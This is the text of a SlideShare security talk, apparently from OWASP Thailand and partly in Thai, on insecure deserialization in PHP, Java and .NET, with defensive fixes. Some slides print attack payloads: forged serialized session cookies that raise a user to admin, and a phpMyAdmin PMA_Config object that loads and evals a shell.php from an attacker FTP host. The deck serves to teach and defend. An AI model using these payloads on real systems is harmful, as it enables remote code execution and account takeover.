SlideShare a Scribd company logo
Web Hacking with
Object Deserialization
Made for
Responsible: Pichaya Morimoto
Version (Date): 1.0 (2020-05-28)
Confidentiality class: Public
บจก.สยามถนัดแฮก
1
OWASP Thailand Chapter
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
$ whoami
2
Mr. Pichaya (LongCat) Morimoto
Founder | Lead Penetration Tester
Siam Thanat Hack Company Limited
2
Past Events:
★ OWASP Thailand Meeting 2/2017
★ OWASP Thailand Meeting 7/2016
★ OWASP Thailand Meeting 5/2015
★ OWASP Thailand Meeting 3/2014
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
3
- ...
- Ragnarok Mobile in Security, Red Pill 2019
- Mysterious Crypto in Android Biometrics,
2600 Thailand Meetup 2019/10
- Docker Security Plugin in DevSecOps,
OWASP Day 2020: DevSecOps in Actions
¯_(ツ)_/¯
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
4
LongCat @
Code Mania 10
Bangkok Uni.
(2015)
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
Agenda
“Empower your
Application Security Knowledge.”
Key Concepts for:
- Data Serialization
- OWASP Top 10 - A8
- Security Problems
- Java Object Deserialization Exploitation
- PHP Object Deserialization Exploitation
- .NET Object Deserialization Exploitation
- Key Takeaways
5
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
6
Serialization และ Deserialization คือ?
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
7
การเก็บขอมูลในไฟล หรือในฐานขอมูล
☑ $number = 1337;
☑ $text = 'sth';
1337
sth
1337
sth
1337
sth
สง
สง
เก็บ
เก็บ
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
8
★ $fruits = array('apple',
'banana',
'orange');
★ class FooController {
public $foo='bar';
function doX() { ... }
}
$a = new FooController;
?
การเก็บขอมูลในไฟล หรือในฐานขอมูล
object ที่มีคา property ติดมาดวย จะ
สงผาน API และจัดเก็บยังไง ??
สงยังไงดี?
เก็บยังไงดี?
สงยังไงดี?
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
9
การทํา Serialization
https://en.wikipedia.org/wiki/Serialization
สรุปงาย ๆ คือเทคนิคการแปลงคา data
structure หรือตัวแปรตาง ๆ (string, int,
array, linked list, hash map, …) และ
object ที่สรางมาจาก class ใหอยูในรูป
แบบที่สามารถ จัดเก็บ และ สงผาน
network protocol ตาง ๆ เชน HTTP ได
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
10
★ $fruits = array('apple',
'banana',
'orange');
★ class FooController {
public $foo='bar';
function doX() { ... }
}
$a = new FooController;
การเก็บขอมูลในไฟล หรือในฐานขอมูล
Serialization
Deserialization
a:3:{i:0;s:5:"ap
ple";i:1;s:6:"ba
nana";i:2;s:6:"
orange";}
O:13:"FooCon
troller":1:{s:3:"
foo";s:3:"bar";}
$a
$fruits
* ไมรวม method
Byte Streams
Byte Streams
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
11
Class → Object
- Properties
- Methods
Object
Serialized Data
- Database
- File
- Network Packet
Object
การใช Object Serialization ในระบบ
O:13:"FooCont
roller":1:{s:3:"f
oo";s:3:"bar";}
Serialization Deserialization
class FooController {
public $foo; }
$obj = new FooController;
$obj->foo = 'bar';
$obj = unserialize($serData);
echo $obj->foo;
// bar
serialize($obj) unserialize($obj)
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
12
Serialization:
serialize()
Deserialization:
unserialize()
PHP Serialization
https://www.php.net/manual/en/function.serialize.php
https://www.php.net/manual/en/function.unserialize.php
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
13
Java Serialization
Serialize
Deserialize
https://docs.oracle.com/javase/7/docs/api/java/io/
ObjectInputStream.html#readObject()
https://github.com/NickstaDB/SerializationDumper
Magic Byte (File Header):
ACED (hex)
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
14
Serialization กับ Data Format แบบตาง ๆ
PHP Serialization (Native)
Java Serialization (Native)
.NET Serializations
Python Pickle
Ruby Marshal
...
XStream
Protobuf
Apache Thrift
YAML
JSON
XML, XMLDecoder, XStream
...
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
15
OWASP Top Ten: Web App Security Risks
A8 - Insecure Deserialization
https://owasp.org/www-pdf-archive/OWASP_Top_10-201
7_%28en%29.pdf.pdf
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
16
OWASP Top Ten: Web App Security Risks
A8 - Insecure Deserialization
Web Features:
- Export Functions
- User Session
- Remember Me
- Templates
Serialized Data
- Network Packet
- Database
- File
1. Serialization
2. Deserialization
POST / HTTP/1.1
Host: victim.sth.sh
import_data= [...
Serialized Data ...]
deserialize(
Serialized Data)
Web API
Web API
ถาผูใชงานระบบสามารถควบคุม
คา Serialized Data ได?
App Code:
obj = deserialize(USER_INPUT)
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
17
ปญหาของการทํา Deserialization ที่อาจไมปลอดภัย
1. ถาแฮกเกอรสามารถคุมคา serialized data ได
แฮกเกอรอาจเปลี่ยนคา object นั้นเพื่อทําในสิ่งที่ไมควรทําได
เชน
- object ของ class User ที่มีคา username
เปน longcat อาจโดนเปลี่ยนเปน admin
- คาเงินใน object 100 อาจถูกเปลี่ยนเปน 1337
ผลคือ เกิดชองโหวอะไรก็ไดเหมือนการรับคา
HTTP parameter เขามาแลวประมวลผลไมปลอดภัย
(SQL หรือ Command Injection, Broken AuthZ)
2. ในบางกรณี อาจถูกใส serialized data ที่เมื่อ
deserialize แลว เกิดการเรียก ฟงกชัน
ที่ไมควรถูกเรียกได เชน การรันโคด
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
18
ปญหาของการทํา Deserialization ที่อาจไมปลอดภัย
1. ถาแฮกเกอรสามารถคุมคา serialized data ได
แฮกเกอรอาจเปลี่ยนคา object นั้นเพื่อทําในสิ่งที่ไมควรทําได
O:4:"User":3:{s:4:"nam
e";s:7:"pichaya";s:4:"ro
le";s:4:"user";s:3:"age";
i:28;}
O:4:"User":3:{s:4:"nam
e";s:3:"sth";s:4:"role";s:
5:"admin";s:3:"age";i:9
99;}
Tzo0OiJVc2VyIjozOntz
OjQ6Im5hbWUiO3M6N
zoicGljaGF5YSI7czo0
OiJyb2xlIjtzOjQ6InVzZ
XIiO3M6MzoiYWdlIjtpO
jI4O30=
Tzo0OiJVc2VyIjozOntz
OjQ6Im5hbWUiO3M6
Mzoic3RoIjtzOjQ6InJvb
GUiO3M6NToiYWRta
W4iO3M6MzoiYWdlIjtp
Ojk5OTt9
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
19
ปญหาของการทํา Deserialization ที่อาจไมปลอดภัย
1. ถาแฮกเกอรสามารถคุมคา serialized data ได
แฮกเกอรอาจเปลี่ยนคา object นั้นเพื่อทําในสิ่งที่ไมควรทําได
HP = 1234
MP = 0
Gold = 129340
“binary serialization is
not easily modifiable
for the common user”
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
20
ตัวอยางการใชงาน Deserialization บนเว็บ (1)
Session Data as
PHP Serialized Object
ถามี field ใน session data เปน user role หรือ id
เราสามารถแก user ธรรมดาเปน admin ไดไหม?
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
21
ตัวอยางการใชงาน Deserialization บนเว็บ (1)
Session Data as
PHP Serialized Object
Singing Signature = MD5(session + secret key) มันคือ MAC (Message
Authentication Code)
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
22
การทํา Signing Signature ปองกันการแกไขคา
Web Server
Web Browser
(User) Set-Cookie: session=
O:4:"User":3:{s:4:"name";s:7:"pichay
a";s:4:"role";s:4:"user";s:3:"age";i:28;}
Web Server
Web Browser
(User)
Cookie: session=
O:4:"User":3:{s:4:"name";s:3:"
sth";s:4:"role";s:5:"admin";s:3:
"age";i:999;}
1. Server สงคา Serialized Data ใหคนใชเว็บหลังล็อคอิน
user=pichaya&password=P@ssw0rd
2. แฮกเกอรจึงแกไขคา Serialized Data ตัวเองใหเปนคนอื่นได
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
23
การทํา Signing Signature ปองกันการแกไขคา
Web Server
Web Browser
(User) Set-Cookie: session=
O:4:"User":3:{s:4:"name";s:7:"pichaya";s:4:
"role";s:4:"user";s:3:"age";i:28;}:deadbeef
Web Server
Web Browser
(User)
Cookie: session=
O:4:"User":3:{s:4:"name";s:3:"
sth";s:4:"role";s:5:"admin";s:3:
"age";i:999;}:deadbeef
1. Server สงคา Serialized Data ใหคนใชเว็บหลังล็อคอิน
พรอมคา signing signature ที่สรางจาก md5(msg + key)
user=pichaya&password=P@ssw0rd
secret_key=longcat
signature=md5(O4:...i
:28;}+secret_key)
สมมุติได deadbeef
2. แฮกเกอรจะแกไขคา Serialized Data ตัวเองไดแตวา
จะไมสามารถแกไขคา signing signature เปนคาที่ถูกได
เพราะคานี้สรางจาก secret key ที่มีแต server ที่รู
Rejected
* ตัวอยางแบบเขาใจงาย เฉย ๆ ของจริงควร
ใช HMAC กับ secret key ที่ปลอดภัย
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
24
ตัวอยางการใชงาน Deserialization บนเว็บ (1)
system/libraries/Session.php1
2
3
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
25
ตัวอยางการใชงาน Deserialization บนเว็บ (1)
5
system/libraries/Session.php
4
6 encryption_key
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
26
ตัวอยางการใชงาน Deserialization บนเว็บ (1)
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
27
ทํา Signing Signature แลวปลอดภัยแลว?
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
28
ทํา Signing Signature แลวปลอดภัยแลว? (1)
★ แอปเดียวกันใชหลายที่แลวไมเปลี่ยน secret key
★ Offline Cracking ออกไดถา secret key ไมปลอดภัย
★ ผูไมประสงคดีสามารถเขาถึงโคดได
★ ชองโหวอื่น ๆ ที่สามารถ bypass การตรวจสอบ
หรือทําให secret key หลุดออกมาได
เพื่อที่แฮกเกอรจะไดสราง signing signature เองได
Web Server
Web Browser
(User)
Cookie: session=
O:4:"User":3:{s:4:"name";s:3:"
sth";s:4:"role";s:5:"admin";s:3:
"age";i:999;}:deadbeef
Rejected
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
29
ทํา Signing Signature แลวปลอดภัยแลว? (2)
Insecure Error
Handling
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
30
ทํา Signing Signature แลวปลอดภัยแลว? (3)
https://<web>/.env
ไฟล .env หลุด
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
31
ทํา Signing Signature แลวปลอดภัยแลว? (4)
ชองโหวอื่น ๆ ของ
Web Framework
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
32
ทํา Signing Signature แลวปลอดภัยแลว? (6)
Web Server
Web Browser
(User)
Cookie: session=
O:4:"User":3:{s:4:"name";s:3:"
sth";s:4:"role";s:5:"admin";s:3:
"age";i:999;}:abcdef1234
ถาแฮกเกอรได secret key ก็สราง
signing signature เองไดทันที !
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
33
ปญหาของการทํา Deserialization ที่อาจไมปลอดภัย(ตอ)
2. ในบางกรณี อาจถูกใส serialized data ที่เมื่อ
deserialize แลว เกิดการเรียก ฟงกชัน
ที่ไมควรถูกเรียกได เชน การรันโคด
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
34
PHP Serialization (Native)
serialize() การทํา serialization คาไปเก็บ
unserialize() สรางคาตัวแปรหรือ object กลับจากคา serialized data
i:666;666
s:6:"foobar";“foobar”
i:666;666
s:6:"foobar";“foobar”
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
35
PHP Serialization (Native) - Data Types
String
- s:<size>:<value>;
- s:3:"STH";
Integer
- i:<value>;
- i:1337;
Double
- d:<value>;
- d:12.345;
Null
- N;
Boolean
- b:<value>;
- b:1; // True
- b:0; // False
Array
- a:<size>:{<key>;<value>;}
- a:2:{s:4:"name";s:4:"John"; s:3:"age";i:15;}
// array("name"=>"John", "age"=>15);
Object
O:13:"FooController":1:{s:3:
"foo";s:3:"bar";}
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
36
PHP Serialization (Native) - PHP Magic Methods
__construct()
__destruct()
__call()
__callStatic()
__get()
__set()
__isset()
__unset()
__sleep()
__wakeup()
__toString()
__invoke()
__set_state()
__clone()
__debugInfo()
- ชื่อฟงกชันขึ้นตนดวย "__"
- เปนฟงกชันที่จะถูกเรียกอัตโนมัติไดหลังจากการทํา deserialization (คือ unserailize() ใน PHP)
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
37
PHP Serialization (Native) - PHP Magic Methods
__destruct()
- ถูกเรียกเมื่อ object กําลังจะหายหลังจบการทํางาน
__wakeup()
- ถูกเรียกหลังจากโดนโยนเขา unserialize()
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
38
สรุปการแฮกฟงกชัน unserialize() ใน PHP
Serialized Data Magic Methodsunserialize()
มีการรับคา serialized data เขามาจาก user input ($_GET, $_POST, $_COOKIE, …)
และถูกนําไปโยนใสฟงกชัน unserialized() แฮกเกอรอาจจะไป เลือก object ของ class
ที่หลังจากโดน deserialize ไปเรียก Magic Method ที่ทําอะไรบางอยาง อยางอัตโนมัติ
RCE
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
หา Class ที่มี PHP Magic Method ที่อาจทําใหเราทําอะไร คูล ๆ ได
39
__destruct()
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
เขียน Exploit โดยสราง Serialized Object ที่ตองการเรียก __destruct
40
สราง Class
พรอม property
serialize แลวสราง signing
signature จาก secret key
URL Encoding Signing Signature
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
Pwned !
41
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
Pwned !
42
Magic Methodsunserialize
($ci_session)
RCE
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
AppServ เวอรชันในตํานาน 2.5.10
43
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
44
File: /scripts/setup.php Line: 61
ชองโหว PMA 2.10.3
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
45
__wakeup /人◕ ‿‿ ◕人\
File: /libraries/Config.class.php Line: 303 File: /libraries/Config.class.php Line: 373,376
eval(
file_get_contents($source)
)
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
46
O:10:"PMA_Config":1:{s:6:"source";s:25:"ftp://1.3.3.7/payload.txt";}
วิธีเขียน Exploit นาจา
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
47
เตรียม Backdoor ใส FTP Server
O:10:"PMA_Config":1:{s:6:"source";s:32:"ftp://10.13.37.10:2121/shell.php";}
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
Pwn !!
48
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
ตัวอยาง การแฮกเว็บที่มีชองโหว Insecure Deserialization (PHP)
49
demo1_pma.flv
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
50
Java Serialization (Native)
Serialize
Deserialize
https://docs.oracle.com/javase/7/docs/api/java/io/
ObjectInputStream.html#readObject()
https://github.com/NickstaDB/SerializationDumper
Magic Byte (File Header):
ACED (hex)
rO0ABXNyAARVc2VynpG/yC7LDZ
gCAANJAAJpZEkADXBydmlsZWdl
TGV2ZWxMAARuYW1ldAASTGph
dmEvbGFuZy9TdHJpbmc7eHAAA
AABAAAAAHQAB3BpY2hheWE=
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
51
Java Serialization (Native)
Web Server
Web Browser
(User)
คา Java Serialized Object
ที่แฮกเกอรแกไขมา
1. แกสิทธิ์ แกจํานวนเงิน แก ฯลฯ
2. ทําการสลับ object อันตราย
ที่เรียก magic method ตาง ๆ
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
ตัวอยาง การแฮกเว็บที่มีชองโหว Insecure Deserialization (Java)
52
demo2_sdh.flv
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
ตัวอยาง การแฮกเว็บที่มีชองโหว Insecure Deserialization (Java)
53
File:
/sdh-bank-campaign/server/app/src/main/java/sh/
sth/SDHBank/controller/CampaignController.java
ois = <User Input>
ois.readObject();
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
54
2. ในบางกรณี อาจถูกใส serialized data ที่เมื่อ
deserialize แลว เกิดการเรียก ฟงกชัน
ที่ไมควรถูกเรียกได เชน การรันโคด
ตัวอยาง การแฮกเว็บที่มีชองโหว Insecure Deserialization (Java)
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
55
YSoSerial
https://github.com/frohoff/ysoserial
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
56
Java Deser. Gadget:
CommonsCollections5
https://commons.apache.org/prope
r/commons-collections/security-rep
orts.html
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
57
Java Deser. Gadget:
CommonsCollections5
Serialized
Data
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
58
Java Deser. Gadget:
CommonsCollections5
https://github.com/frohoff/ysoserial/b
lob/master/src/main/java/ysoserial/p
ayloads/CommonsCollections5.java
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
59
Java Deser. Gadget:
CommonsCollections5
BadAttributeValueExpException.readObject()
เอาคาที่เก็บมา
toString()
ถูก deserialize จะ
เรียก readObject()
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
60
Java Deser. Gadget:
CommonsCollections5
TiedMapEntry.toString()
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
61
Java Deser. Gadget:
CommonsCollections5
LazyMap.get()
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
62
Java Deser. Gadget:
CommonsCollections5
ChainedTransformer.transform()
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
63
InvokerTransformer.transform()
Java Deser. Gadget:
CommonsCollections5
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
64
Java Deser. Gadget:
CommonsCollections5
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
65
Java Deser. Gadget:
CommonsCollections5
https://commons.apache.org/prope
r/commons-collections/security-rep
orts.html
Application Security Hardening Tip:
อยาใช Java Library รุนเกา ใหอัปเดตเปนรุน
ลาสุด ใหมที่สุดที่ทําได นอกจากชองโหวใน
โคดแอป ก็อาจมีชองโหวใน Library เองดวย
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
66
Java Deser. Gadget: Jdk7u21
https://gist.github.com/frohoff/24af7
913611f8406eaf3
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
67
Java Deser. Gadget: Jdk7u21
https://gist.github.com/frohoff/24af7
913611f8406eaf3
Application Security Hardening Tip:
อยาใช JDK รุนเกา ใหอัปเดตเปนรุนลาสุด
ใหมที่สุดที่ทําได นอกจากชองโหวในโคดแอ
ป ก็อาจมีชองโหวใน JDK เองดวย
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
68
วิธีแกไขชองโหว Insecure Deserialization (Java)
อยาทําการ Deserialize ในการเขียน
โปรแกรม โดยเฉพาะคาที่รับมาจาก
User Input เชน HTTP Parameter
https://www.pinterest.com/pin/680958406133567782/
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
69
วิธีแกไขชองโหว Insecure Deserialization (Java)
ถายังตองการใช กําหนดให java.io.ObjectInputStream รูวามี Object อะไรบาง
ที่จะยอมใหเกิดการ Deserialize ไดบาง เรียกวาการทํา whitelisting
ตัวอยางงาย ๆ เชนการ overwrite คราส ObjectInputStream ใหเช็ค Object กอน
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Deserialization_
Cheat_Sheet.md#harden-your-own-javaioobjectinputstream
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
70
วิธีแกไขชองโหว Insecure Deserialization (Java)
1
3
2
4
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
71
วิธีแกไขชองโหว Insecure Deserialization (Java)
5
6
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
72
วิธีแกไขชองโหว Insecure Deserialization (Java)
https://github.com/ikkisoft/SerialKiller
look-ahead Java deserialization library
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
73
วิธีแกไขชองโหว Insecure Deserialization (Java)
5
6
*** วิธีนี้ แกไดเฉพาะปองกันการปองกัน การ
deserialize คา Object นอกเหนือจากที่เรา
whitelist ไว (ที่เราเรียกวา gadget) แตไมได
ปองกันการแกไข attribute ของ Object ของ
class ที่เรายอมให deserialize ได (ที่อยูใน
whitelist)
ดังนั้น จึงตองทํา input validation กับคาใน
Object ที่รับเขามา ควบคูกันไปดวย
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
74
Insecure Deserialization (.NET)
Many types built into .NET framework have code that will run just because they are
instantiated.
The example of .NET magic methods:
- Constructors
- OnDeserialize Handlers
- Setters / Getters
- Destructors
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
75
.NET Serialization Gadget
Start with an easy gadget: TempFileCollection
Read this by yourself if you dare:
https://github.com/microsoft/referencesource/blob/master/System/compmod/system/codedom/compiler/TempFiles.cs#L34
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
76
.NET Serialization Gadget
Start with an easy gadget: TempFileCollection
Controllable Object Attributes
This gadget cannot RCE
Delete Temp Directory in
Destructor Method
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
77
.NET Serialization Gadget
Make it harder: TypeConfuseDelegate
This is too hard. Read it yourself please:
https://googleprojectzero.blogspot.com/2017/04/exploiting-net-managed-dcom.html
ใชไดยัน .NET Framework
เวอรชั่นลาสุด
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
78
.NET Serialization Gadget
Make it harder: TypeConfuseDelegate
We have 3 friends as follows:
- ComparisonComparer
- MulticastDelegate
- SortedSet
1
2
3 4
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
79
.NET Serialization Gadget
Make it harder: TypeConfuseDelegate
ComparisonComparer class SortedSet class
Process::Start(Executable, Args)
??
1
2
เราจะเรียก...
4
3
ตรง ๆ ไมไดเพราะตอง Comparison Type
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
80
.NET Serialization Gadget
Make it harder: TypeConfuseDelegate
MulticastDelegate
Fields:
- _invocationList
- _invocationCount
- ...
ComparisonA(A, B)
ComparisonB(A, B)
ComparisonC(A, B) Replace this delegate with
Process::Start(Executable, Args)
1
2
3
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
81
.NET Serialization Gadget
Let test TypeConfuseDelegate gadget
Demo Video: demo3_typeconfusedelegate.flv
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
ViewState
82
_VIEWSTATE value will be deserialized with
ObjectStateFormatter to be ViewState object.
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
83
ViewState Security Configuration
EnableViewStateMac
)
https://en.wikipedia.org/wiki/Message_authentication_code
viewStateEncryptionMode
คือการเขารหัส viewstate ดวย MachineKey
MachineKey
คือ key ที่ใชในการเขารหัส ถอดรหัส ตรวจสอบ
ความถูกตองของ forms-authentication และ
viewstate
key จะอยูใน web.config หรือ machine.config
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
ชองโหวที่เกี่ยวของกับ ViewState
EnableViewStateMac=false, viewStateEncryptionMode=false
HKEY_LOCAL_MACHINESOFTWAREMicrosoft.NETFrameworkv4.0.30319
viewStateEncryptionMode จะถูกตั้งเปน false เปนคา
default
ถาหาก EnableViewStateMac หรือ
viewStateEncryptionMode ถูกเปด จําเปนตองใช
MachineKey ในการ โจมตี
84
Web.config
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
ตรวจสอบ ViewState ดวย Burp Suite
85
ViewState MAC is Disabled
ViewState MAC is Enabled
ViewState MAC is Encrypted
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
86
ลองแฮก ViewState ดวย
Insecure Deserialization
Let hack Insecure ViewState Serialization with TypeConfuseDelegate Gadget
Demo Video: demo4_viewstate.flv
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
87
Key Takeaways
#1 Do NOT Deserialize Untrusted Data
#2 Logging and Monitoring
บจก.สยามถนัดแฮก
